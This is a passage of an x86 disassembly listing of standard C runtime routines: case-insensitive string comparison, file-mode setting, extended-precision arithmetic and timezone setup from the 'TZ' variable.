; ---------------------------------------------------------------------------
loc_4311DC: ; CODE XREF: sub_430FA0+236j
mov eax, [ebp+arg_8]
shl eax, 1
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_419A90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_4311F9
; ---------------------------------------------------------------------------
loc_4311F7: ; CODE XREF: sub_430FA0+A9j
xor eax, eax
loc_4311F9: ; CODE XREF: sub_430FA0+79j
; sub_430FA0+9Dj ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_430FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431210 proc near ; CODE XREF: sub_42D4B0+40p
; sub_42D600+5Fp ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DE06C
cmp dword ptr [eax+8], 0
jnz short loc_431263
mov al, 0FFh
mov edi, edi
loc_43122C: ; CODE XREF: sub_431210+28j
; sub_431210+48j
or al, al
jz short loc_43125E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_43122C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_43122C
sbb al, al
sbb al, 0FFh
loc_43125E: ; CODE XREF: sub_431210+1Ej
movsx eax, al
jmp short loc_4312DB
; ---------------------------------------------------------------------------
loc_431263: ; CODE XREF: sub_431210+16j
lock inc dword_4DE428
cmp dword_4DE424, 0
jg short loc_431277
push 0
jmp short loc_43128C
; ---------------------------------------------------------------------------
loc_431277: ; CODE XREF: sub_431210+61j
lock dec dword_4DE428
push 13h
call sub_41BC80
mov [esp+10h+var_10], 1
loc_43128C: ; CODE XREF: sub_431210+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_431294: ; CODE XREF: sub_431210+90j
; sub_431210+A8j
or al, al
jz short loc_4312BF
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_431294
push eax
push ebx
call sub_41A730
mov ebx, eax
add esp, 4
call sub_41A730
add esp, 4
cmp bl, al
jz short loc_431294
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4312BF: ; CODE XREF: sub_431210+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_4312CF
lock dec dword_4DE428
jmp short loc_4312D9
; ---------------------------------------------------------------------------
loc_4312CF: ; CODE XREF: sub_431210+B4j
push 13h
call sub_41BD20
add esp, 4
loc_4312D9: ; CODE XREF: sub_431210+BDj
mov eax, ebx
loc_4312DB: ; CODE XREF: sub_431210+51j
pop ebx
pop esi
pop edi
leave
retn
sub_431210 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4312E0 proc near ; CODE XREF: sub_42D600+11Bp
; sub_42D600+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_4313DA
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_4DE06C
cmp dword ptr [eax+8], 0
jnz short loc_431351
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_43130C: ; CODE XREF: sub_4312E0+53j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_431335
or al, al
jz short loc_431335
inc esi
inc edi
cmp ah, bh
jb short loc_431324
cmp ah, bl
ja short loc_431324
add ah, dh
loc_431324: ; CODE XREF: sub_4312E0+3Cj
; sub_4312E0+40j
cmp al, bh
jb short loc_43132E
cmp al, bl
ja short loc_43132E
add al, dh
loc_43132E: ; CODE XREF: sub_4312E0+46j
; sub_4312E0+4Aj
cmp ah, al
jnz short loc_43133F
dec ecx
jnz short loc_43130C
loc_431335: ; CODE XREF: sub_4312E0+32j
; sub_4312E0+36j
xor ecx, ecx
cmp ah, al
jz loc_4313DA
loc_43133F: ; CODE XREF: sub_4312E0+50j
mov ecx, 0FFFFFFFFh
jb loc_4313DA
neg ecx
jmp loc_4313DA
; ---------------------------------------------------------------------------
loc_431351: ; CODE XREF: sub_4312E0+21j
lock inc dword_4DE428
cmp dword_4DE424, 0
jg short loc_431365
push 0
jmp short loc_43137E
; ---------------------------------------------------------------------------
loc_431365: ; CODE XREF: sub_4312E0+7Fj
lock dec dword_4DE428
mov ebx, ecx
push 13h
call sub_41BC80
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_43137E: ; CODE XREF: sub_4312E0+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_431384: ; CODE XREF: sub_4312E0+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_4313AF
or ebx, ebx
jz short loc_4313AF
inc esi
inc edi
push ecx
push eax
push ebx
call sub_41A730
mov ebx, eax
add esp, 4
call sub_41A730
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_4313B5
dec ecx
jnz short loc_431384
loc_4313AF: ; CODE XREF: sub_4312E0+AAj
; sub_4312E0+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_4313BE
loc_4313B5: ; CODE XREF: sub_4312E0+CAj
mov ecx, 0FFFFFFFFh
jb short loc_4313BE
neg ecx
loc_4313BE: ; CODE XREF: sub_4312E0+D3j
; sub_4312E0+DAj
pop eax
or eax, eax
jnz short loc_4313CC
lock dec dword_4DE428
jmp short loc_4313DA
; ---------------------------------------------------------------------------
loc_4313CC: ; CODE XREF: sub_4312E0+E1j
mov ebx, ecx
push 13h
call sub_41BD20
add esp, 4
mov ecx, ebx
loc_4313DA: ; CODE XREF: sub_4312E0+Bj
; sub_4312E0+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_4312E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4DE420
jnb short loc_431421
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_431431
loc_431421: ; CODE XREF: .data:004313FDj
call sub_4224D0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_43145F
; ---------------------------------------------------------------------------
loc_431431: ; CODE XREF: .data:0043141Fj
mov edx, [ebp+8]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_431470
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_429A50
add esp, 4
mov eax, [ebp-4]
loc_43145F: ; CODE XREF: .data:0043142Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431470 proc near ; CODE XREF: sub_42E2C0+D4p
; sub_42E2C0+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_4314D9
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DE320[edx*4]
mov [edx+eax+4], cl
jmp short loc_43152A
; ---------------------------------------------------------------------------
loc_4314D9: ; CODE XREF: sub_431470+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_43151A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4DE320[ecx*4]
mov [ecx+edx+4], al
jmp short loc_43152A
; ---------------------------------------------------------------------------
loc_43151A: ; CODE XREF: sub_431470+70j
call sub_4224D0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_43153B
; ---------------------------------------------------------------------------
loc_43152A: ; CODE XREF: sub_431470+67j
; sub_431470+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_43153B: ; CODE XREF: sub_431470+B8j
mov esp, ebp
pop ebp
retn
sub_431470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431540 proc near ; CODE XREF: sub_42F370+2B5p
; sub_431980+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_4315FD
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_4315FD
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_431634
loc_4315FD: ; CODE XREF: sub_431540+9Bj
; sub_431540+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_431979
; ---------------------------------------------------------------------------
loc_431634: ; CODE XREF: sub_431540+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_431667
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_431979
; ---------------------------------------------------------------------------
loc_431667: ; CODE XREF: sub_431540+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_4316AD
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_4316AD
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4316AD
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_4316AD
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_431979
; ---------------------------------------------------------------------------
loc_4316AD: ; CODE XREF: sub_431540+131j
; sub_431540+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_431709
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_431709
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_431709
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_431709
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_431979
; ---------------------------------------------------------------------------
loc_431709: ; CODE XREF: sub_431540+178j
; sub_431540+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_431722
; ---------------------------------------------------------------------------
loc_431719: ; CODE XREF: sub_431540+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_431722: ; CODE XREF: sub_431540+1D7j
cmp [ebp+var_1C], 5
jge loc_4317E1
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_431751
; ---------------------------------------------------------------------------
loc_431748: ; CODE XREF: sub_431540+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_431751: ; CODE XREF: sub_431540+206j
cmp [ebp+var_34], 0
jle short loc_4317D3
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_4317BC
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_4317BC: ; CODE XREF: sub_431540+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_431748
; ---------------------------------------------------------------------------
loc_4317D3: ; CODE XREF: sub_431540+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_431719
; ---------------------------------------------------------------------------
loc_4317E1: ; CODE XREF: sub_431540+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_4317EE: ; CODE XREF: sub_431540+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_43181D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_43181D
lea edx, [ebp+var_14]
push edx
call sub_42E5E0
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_4317EE
; ---------------------------------------------------------------------------
loc_43181D: ; CODE XREF: sub_431540+2B4j
; sub_431540+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_43187D
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_431831: ; CODE XREF: sub_431540+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_43186C
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_431852
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_431852: ; CODE XREF: sub_431540+307j
lea eax, [ebp+var_14]
push eax
call sub_42E640
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_431831
; ---------------------------------------------------------------------------
loc_43186C: ; CODE XREF: sub_431540+2F7j
cmp [ebp+var_4], 0
jz short loc_43187D
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_43187D: ; CODE XREF: sub_431540+2E3j
; sub_431540+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_43189D
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_4318FE
loc_43189D: ; CODE XREF: sub_431540+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_4318F5
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_4318EA
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_4318DC
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_4318E8
; ---------------------------------------------------------------------------
loc_4318DC: ; CODE XREF: sub_431540+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_4318E8: ; CODE XREF: sub_431540+39Aj
jmp short loc_4318F3
; ---------------------------------------------------------------------------
loc_4318EA: ; CODE XREF: sub_431540+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_4318F3: ; CODE XREF: sub_431540:loc_4318E8j
jmp short loc_4318FE
; ---------------------------------------------------------------------------
loc_4318F5: ; CODE XREF: sub_431540+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_4318FE: ; CODE XREF: sub_431540+35Bj
; sub_431540:loc_4318F3j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_431943
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_431979
; ---------------------------------------------------------------------------
loc_431943: ; CODE XREF: sub_431540+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_431979: ; CODE XREF: sub_431540+EFj
; sub_431540+122j ...
mov esp, ebp
pop ebp
retn
sub_431540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431980 proc near ; CODE XREF: sub_42E7F0+914p
; sub_42F370+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_448458
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_43199C
jmp loc_431A3F
; ---------------------------------------------------------------------------
loc_43199C: ; CODE XREF: sub_431980+15j
cmp [ebp+arg_4], 0
jge short loc_4319B5
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_4485B8
sub edx, 60h
mov [ebp+var_4], edx
loc_4319B5: ; CODE XREF: sub_431980+20j
cmp [ebp+arg_8], 0
jnz short loc_4319C3
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_4319C3: ; CODE XREF: sub_431980+39j
; sub_431980+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_431A3F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_4319EC
jmp short loc_4319C3
; ---------------------------------------------------------------------------
loc_4319EC: ; CODE XREF: sub_431980+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_431A2D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_431A2D: ; CODE XREF: sub_431980+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_431540
add esp, 8
jmp short loc_4319C3
; ---------------------------------------------------------------------------
loc_431A3F: ; CODE XREF: sub_431980+17j
; sub_431980+47j
mov esp, ebp
pop ebp
retn
sub_431980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A50 proc near ; CODE XREF: sub_430010:loc_43052Bp
push ebp
mov ebp, esp
cmp dword_4DE2F8, 0
jnz short loc_431A8B
push 0Bh
call sub_41BC80
add esp, 4
cmp dword_4DE2F8, 0
jnz short loc_431A81
call sub_431AB0
mov eax, dword_4DE2F8
add eax, 1
mov dword_4DE2F8, eax
loc_431A81: ; CODE XREF: sub_431A50+1Dj
push 0Bh
call sub_41BD20
add esp, 4
loc_431A8B: ; CODE XREF: sub_431A50+Aj
pop ebp
retn
sub_431A50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_41BC80
add esp, 4
call sub_431AB0
push 0Bh
call sub_41BD20
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431AB0 proc near ; CODE XREF: sub_431A50+1Fp
; .data:00431A9Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
push 0Ch
call sub_41BC80
add esp, 4
mov dword_4DE240, 0
mov dword_448448, 0FFFFFFFFh
mov eax, dword_448448
mov dword_448438, eax
push offset aTz ; "TZ"
call sub_432710
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz loc_431C33
push 0Ch
call sub_41BD20
add esp, 4
push offset dword_4DE248
call dword_4E02E0 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz loc_431C2E
mov dword_4DE240, 1
mov ecx, dword_4DE248
imul ecx, 3Ch
mov dword_4483A0, ecx
xor edx, edx
mov dx, word_4DE28E
test edx, edx
jz short loc_431B59
mov eax, dword_4DE29C
imul eax, 3Ch
mov ecx, dword_4483A0
add ecx, eax
mov dword_4483A0, ecx
loc_431B59: ; CODE XREF: sub_431AB0+91j
xor edx, edx
mov dx, word_4DE2E2
test edx, edx
jz short loc_431B8E
cmp dword_4DE2F0, 0
jz short loc_431B8E
mov dword_4483A4, 1
mov eax, dword_4DE2F0
sub eax, dword_4DE29C
imul eax, 3Ch
mov dword_4483A8, eax
jmp short loc_431BA2
; ---------------------------------------------------------------------------
loc_431B8E: ; CODE XREF: sub_431AB0+B4j
; sub_431AB0+BDj
mov dword_4483A4, 0
mov dword_4483A8, 0
loc_431BA2: ; CODE XREF: sub_431AB0+DCj
lea ecx, [ebp+var_8]
push ecx
push 0
push 3Fh
mov edx, off_44842C
push edx
push 0FFFFFFFFh
push offset dword_4DE24C
push 220h
mov eax, dword_4DE084
push eax
call dword_4E0424 ; WideCharToMultiByte
test eax, eax
jz short loc_431BDF
cmp [ebp+var_8], 0
jnz short loc_431BDF
mov ecx, off_44842C
mov byte ptr [ecx+3Fh], 0
jmp short loc_431BE8
; ---------------------------------------------------------------------------
loc_431BDF: ; CODE XREF: sub_431AB0+11Bj
; sub_431AB0+121j
mov edx, off_44842C
mov byte ptr [edx], 0
loc_431BE8: ; CODE XREF: sub_431AB0+12Dj
lea eax, [ebp+var_8]
push eax
push 0
push 3Fh
mov ecx, off_448430
push ecx
push 0FFFFFFFFh
push offset dword_4DE2A0
push 220h
mov edx, dword_4DE084
push edx
call dword_4E0424 ; WideCharToMultiByte
test eax, eax
jz short loc_431C25
cmp [ebp+var_8], 0
jnz short loc_431C25
mov eax, off_448430
mov byte ptr [eax+3Fh], 0
jmp short loc_431C2E
; ---------------------------------------------------------------------------
loc_431C25: ; CODE XREF: sub_431AB0+162j
; sub_431AB0+168j
mov ecx, off_448430
mov byte ptr [ecx], 0
loc_431C2E: ; CODE XREF: sub_431AB0+67j
; sub_431AB0+173j
jmp loc_431E57
; ---------------------------------------------------------------------------
loc_431C33: ; CODE XREF: sub_431AB0+49j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_431C5D
cmp dword_4DE2F4, 0
jz short loc_431C6C
mov ecx, dword_4DE2F4
push ecx
mov edx, [ebp+var_C]
push edx
call sub_418A30
add esp, 8
test eax, eax
jnz short loc_431C6C
loc_431C5D: ; CODE XREF: sub_431AB0+18Bj
push 0Ch
call sub_41BD20
add esp, 4
jmp loc_431E57
; ---------------------------------------------------------------------------
loc_431C6C: ; CODE XREF: sub_431AB0+194j
; sub_431AB0+1ABj
push 2
mov eax, dword_4DE2F4
push eax
call sub_415C60
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_414EC0
add esp, 4
add eax, 1
push eax
call sub_4150C0
add esp, 10h
mov dword_4DE2F4, eax
cmp dword_4DE2F4, 0
jnz short loc_431CBD
push 0Ch
call sub_41BD20
add esp, 4
jmp loc_431E57
; ---------------------------------------------------------------------------
loc_431CBD: ; CODE XREF: sub_431AB0+1FCj
mov edx, [ebp+var_C]
push edx
mov eax, dword_4DE2F4
push eax
call sub_418870
add esp, 8
push 0Ch
call sub_41BD20
add esp, 4
push 3
mov ecx, [ebp+var_C]
push ecx
mov edx, off_44842C
push edx
call sub_417760
add esp, 0Ch
mov eax, off_44842C
mov byte ptr [eax+3], 0
mov ecx, [ebp+var_C]
add ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_431D1D
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_431D1D: ; CODE XREF: sub_431AB0+259j
mov eax, [ebp+var_C]
push eax
call sub_417860
add esp, 4
imul eax, 0E10h
mov dword_4483A0, eax
loc_431D34: ; CODE XREF: sub_431AB0+2AEj
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_431D55
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_431D60
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_431D60
loc_431D55: ; CODE XREF: sub_431AB0+28Dj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_431D34
; ---------------------------------------------------------------------------
loc_431D60: ; CODE XREF: sub_431AB0+298j
; sub_431AB0+2A3j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_431E05
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_417860
add esp, 4
imul eax, 3Ch
mov ecx, dword_4483A0
add ecx, eax
mov dword_4483A0, ecx
loc_431D95: ; CODE XREF: sub_431AB0+304j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_431DB6
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_431DB6
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_431D95
; ---------------------------------------------------------------------------
loc_431DB6: ; CODE XREF: sub_431AB0+2EEj
; sub_431AB0+2F9j
mov ecx, [ebp+var_C]
